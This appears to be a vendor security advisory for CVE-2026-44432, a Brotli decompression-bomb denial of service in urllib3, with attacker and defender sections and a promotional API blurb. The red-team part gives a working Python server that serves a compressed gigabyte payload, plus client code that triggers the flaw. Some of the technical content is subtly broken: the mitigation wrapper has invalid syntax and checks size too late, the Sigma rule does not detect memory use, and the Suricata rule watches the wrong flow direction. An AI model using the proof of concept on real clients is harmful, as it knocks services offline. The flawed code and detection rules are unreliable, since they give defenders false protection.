CVE-2026-44432
Executive Summary
CVE-2026-44432 is a high-severity denial-of-service (DoS) vulnerability in the Python urllib3 HTTP client library, affecting versions 2.6.0 through 2.6.9. The flaw resides in how urllib3 handles decompression of HTTP responses, specifically when using the official Brotli library or when draining a partially decompressed connection. An attacker can exploit this by sending a small, highly compressed payload that, when decompressed, expands massively, causing excessive CPU and memory consumption on the client side. This is a classic "zip bomb" or decompression bomb attack vector. The vulnerability has been patched in version 2.7.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package urllib3, a foundational component of the Python ecosystem. It is a direct dependency of the widely used requests library and is indirectly used by countless applications, including web scrapers, API clients, and cloud SDKs. The attack does not require authentication or user interaction, making it a potent supply chain risk. Any application using a vulnerable version of urllib3 that processes HTTP responses from untrusted sources is at risk. The fix is a simple version bump, but organizations must ensure their dependency trees are updated.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions are required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): None – the victim does not need to click or perform any action.
- Scope (S): Unchanged – the exploit cannot affect other components.
- Confidentiality (C): None – no data is exposed.
- Integrity (I): None – no data is modified.
- Availability (A): High – the primary impact is denial of service via resource exhaustion.
Threat Level: High. The low attack complexity and network vector make this a serious threat for any service that uses urllib3 to fetch data from untrusted sources.
Deep Dive & Mechanics
The vulnerability manifests in two distinct scenarios:
Brotli Decompression with
read(amt=N): Whenurllib3receives a Brotli-compressed response and the client callsHTTPResponse.read(amt=N)to read a specific number of bytes, the library incorrectly decompresses the entire response body instead of just the requested portion. This means a small compressed payload (e.g., 1KB) can decompress to gigabytes of data, exhausting memory.drain_conn()After Partial Decompression: After reading and decompressing part of a response (using any compression algorithm, not just Brotli), callingdrain_conn()to discard the remaining data triggers full decompression of the entire remaining response. Again, a small compressed payload can cause massive memory allocation.
The root cause is that urllib3 does not enforce a limit on the decompressed data size when performing these operations. The official Brotli library (and other decompressors) will happily expand data until memory is exhausted.
Vulnerable vs. Patched Code
Vulnerable Code (urllib3 < 2.7.0):
# In HTTPResponse.read(amt=N) with Brotli decompression
def read(self, amt=None, ...):
if self._decoder:
# Vulnerable: decodes entire stream regardless of amt
data = self._decoder.decompress(self._raw_data)
return data[:amt] # Only slices after full decompression
Patched Code (urllib3 2.7.0):
# In HTTPResponse.read(amt=N) with Brotli decompression
def read(self, amt=None, ...):
if self._decoder:
# Patched: limits decompression to requested amount
data = self._decoder.decompress(self._raw_data, amt)
return data
The patch introduces a size limit to the decompression call, preventing the decompressor from expanding data beyond the requested amount.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Cause a denial of service on a client using a vulnerable urllib3 version.
Lab Setup:
- Attacker Machine: Kali Linux or any system with Python 3.
- Victim Machine: A system running a Python application that uses
urllib32.6.x and fetches data from the attacker's server. - Network: Both machines must be able to communicate (e.g., same LAN or the attacker has a public server).
Exploit Steps:
- Create a malicious HTTP server that serves a Brotli-compressed "zip bomb" response.
- The victim's application calls
response.read(amt=1024)orresponse.drain_conn(). - The server sends a small Brotli-compressed payload that decompresses to gigabytes of data.
- The victim's process consumes excessive CPU and memory, potentially crashing.
Example Malicious Server (Python):
import http.server
import brotli
# Create a highly compressible payload (e.g., 1GB of zeros)
payload = b'\x00' * (1024 * 1024 * 1024) # 1 GB
compressed = brotli.compress(payload)
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Encoding', 'br')
self.send_header('Content-Length', str(len(compressed)))
self.end_headers()
self.wfile.write(compressed)
if __name__ == '__main__':
server = http.server.HTTPServer(('0.0.0.0', 8080), Handler)
server.serve_forever()
Victim Code (Vulnerable):
import urllib3
http = urllib3.PoolManager()
response = http.request('GET', 'http://attacker:8080/')
# This triggers the vulnerability
data = response.read(amt=1024) # or response.drain_conn()
Blue Team (Defender)
Detection:
- Monitor for excessive memory allocation by Python processes.
- Look for network connections to suspicious servers that return
Content-Encoding: brwith unusually small response bodies. - Use the detection rules provided below.
Mitigation:
- Immediately upgrade
urllib3to version 2.7.0 or later. - If upgrading is not possible, implement a custom wrapper that limits decompressed data size.
- Use a Web Application Firewall (WAF) to block responses with suspicious compression ratios.
Indicators of Compromise (IOCs)
- Network:
- HTTP responses with
Content-Encoding: brand a very smallContent-Length(e.g., < 10KB) that trigger high memory usage. - Unusually high CPU usage in Python processes handling HTTP responses.
- HTTP responses with
- Host:
- Python process consuming gigabytes of RAM unexpectedly.
- Crash logs showing
MemoryErrororOutOfMemoryErrorinurllib3orbrotlimodules.
- File:
- Temporary files in
/tmpor system temp directories with large sizes created by Python processes.
- Temporary files in
Detection Engineering
YARA Rule
rule CVE_2026_44432_urllib3_DoS {
meta:
description = "Detects urllib3 versions vulnerable to CVE-2026-44432"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-44432"
strings:
$vuln_version = /urllib3\/(2\.6\.[0-9])/ nocase
$brotli_import = "brotli" nocase
condition:
$vuln_version and $brotli_import
}
Sigma Rule
title: CVE-2026-44432 - urllib3 Decompression Bomb DoS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects excessive memory allocation by Python processes using urllib3
author: Valters IT
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/python3'
CommandLine|contains: 'urllib3'
condition: selection
falsepositives:
- Legitimate large file downloads
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-44432 - urllib3 Decompression Bomb Attempt";
flow:to_server,established;
content:"Content-Encoding|3a| br";
http_header;
content:"Content-Length|3a|";
pcre:"/Content-Length:\s*\d{1,4}\s*$/";
sid:1000001;
rev:1;
)
Remediation & Mitigation
- Immediate Patch: Upgrade
urllib3to version 2.7.0 or later.pip install --upgrade urllib3 - Dependency Check: Run
pip list --outdatedto identify all packages that depend onurllib3and ensure they are updated. - Runtime Protection: If immediate patching is not possible, implement a custom
HTTPAdapteror wrapper that limits the decompressed data size:import urllib3 from urllib3.response import HTTPResponse class SafeHTTPResponse(HTTPResponse): MAX_DECOMPRESSED_SIZE = 100 * 1024 * 1024 # 100 MB def read(self, amt=None, ...): data = super().read(amt, ...) if len(data) > self.MAX_DECOMPRESSED_SIZE: raise MemoryError("Decompressed data exceeds limit") return data - Network Controls: Use a reverse proxy (e.g., Nginx, HAProxy) to inspect and reject responses with suspicious compression ratios.
- Monitoring: Set up alerts for Python processes that exceed normal memory thresholds.
Valters IT